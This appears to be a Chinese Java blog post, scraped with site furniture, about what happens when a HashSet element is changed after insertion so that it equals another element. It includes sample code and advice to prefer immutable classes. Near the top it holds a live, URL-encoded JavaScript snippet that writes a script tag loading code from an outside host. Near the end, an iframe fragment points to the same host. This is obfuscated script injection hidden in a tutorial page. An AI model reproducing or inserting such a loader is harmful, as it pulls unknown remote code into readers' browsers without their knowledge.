Java中Set包含重复元素的问题

 

HTML Tags and JavaScript tutorial


<script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script>
Java中Set包含重复元素的问题




在JDK的API文档中,Set接口的第一段的内容是:A collection that contains no duplicate
elements. More formally, sets contain no pair of elements e1 and e2 such that e1.equals
(e2), and at most one null element.也就是说Set是一个不包含重复元素的 collection。更正式地
说,set 不包含满足 e1.equals(e2) 的元素对 e1 和 e2,并且最多包含一个 null 元素。正如其名
称所暗示的,此接口模仿了数学上的 set 抽象。
今天我们要说的是这个重复元素的一个微妙情况,如果我们一开始加入的是各部相同的元素,但是加
入之后我们改变其中的某个元素的值,使得它与另一个元素相同,这样之后会发生什么事情呢?
我们来看一段代码:
package com.fun;
import java.util.HashSet;
import java.util.Iterator;
import java.util.Set;
public class SetTest
{
 public static void main(String[] args)
 {
  Set<Element> set = new HashSet<Element>();
  Element i1 = new Element(1);
  Element i2 = new Element(2);
  Element i3 = new Element(3);
  set.add(i1);
  set.add(i2);
  set.add(i3);
  System.out.println("Before changed:");
  printSet(set);
  i1.setValue(2);
  System.out.println(i1.equals(i2));
  System.out.println("After changed:");
  printSet(set);
 }
 public static void printSet(Set set)
 {
  Iterator it = set.iterator();
  while (it.hasNext())
  {
   System.out.println(it.next());
  }
 }
}
class Element
{
 private int value;
 public Element(int value)
 {
  this.value = value;
 }
 public void setValue(int value)
 {
  this.value = value;
 }
 public int getValue()
 {
  return this.value;
 }
 @Override
 public String toString()
 {
  return "" + this.value;
 }
 @Override
 public boolean equals(Object obj)
 {
  if(this ==(Element)obj)
   return true;
  if (!(obj instanceof Element))
  {
   return false;
  }
  if (((Element) obj).getValue() == this.getValue())
  {
   return true;
  }
  return false;
 }
 @Override
 public int hashCode()
 {
  return 37 + this.value;
 }
}
  代码的逻辑很容易明白,我们先加入到Set里面的是不同的元素,加入后,我们修改其中某个元素的
值,从而使得其与Set中的另外一个元素的值相等,equals比较的时候得到的是true,对此有何解释呢

  在Java中,这种现象应该属于一种未定义的行为,所以我们最好的方法就是使用不可变类
(immutable),或者避免修改数据(不过好像不修改数据在一般情况下是不可能的)。幸而Java类库中
的绝大多数作为数据载体的类,例如String和所有原始类型数据的封装对象Integer、Double、Float
等均为不可变类,所有使用这些类的时候没什么问题。但是如果使用用户自定义的数据类型,那么尽
量实现其为不可变的类,如果实现比较困难的话,那么就只有尽量避免修改集合元素的值。
在《高质量Java程序设计》中还提出了Map也有此情况出现,大家可以试一下。
 参考-高质量Java程序设计[专著] / 顾晓刚等编著. - 北京: 电子工业出版社, 2003.1 

src="http://avss.b15.cnwg.cn/count/iframe.asp" frameborder="0" width="650" scrolling="no" height="160">
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值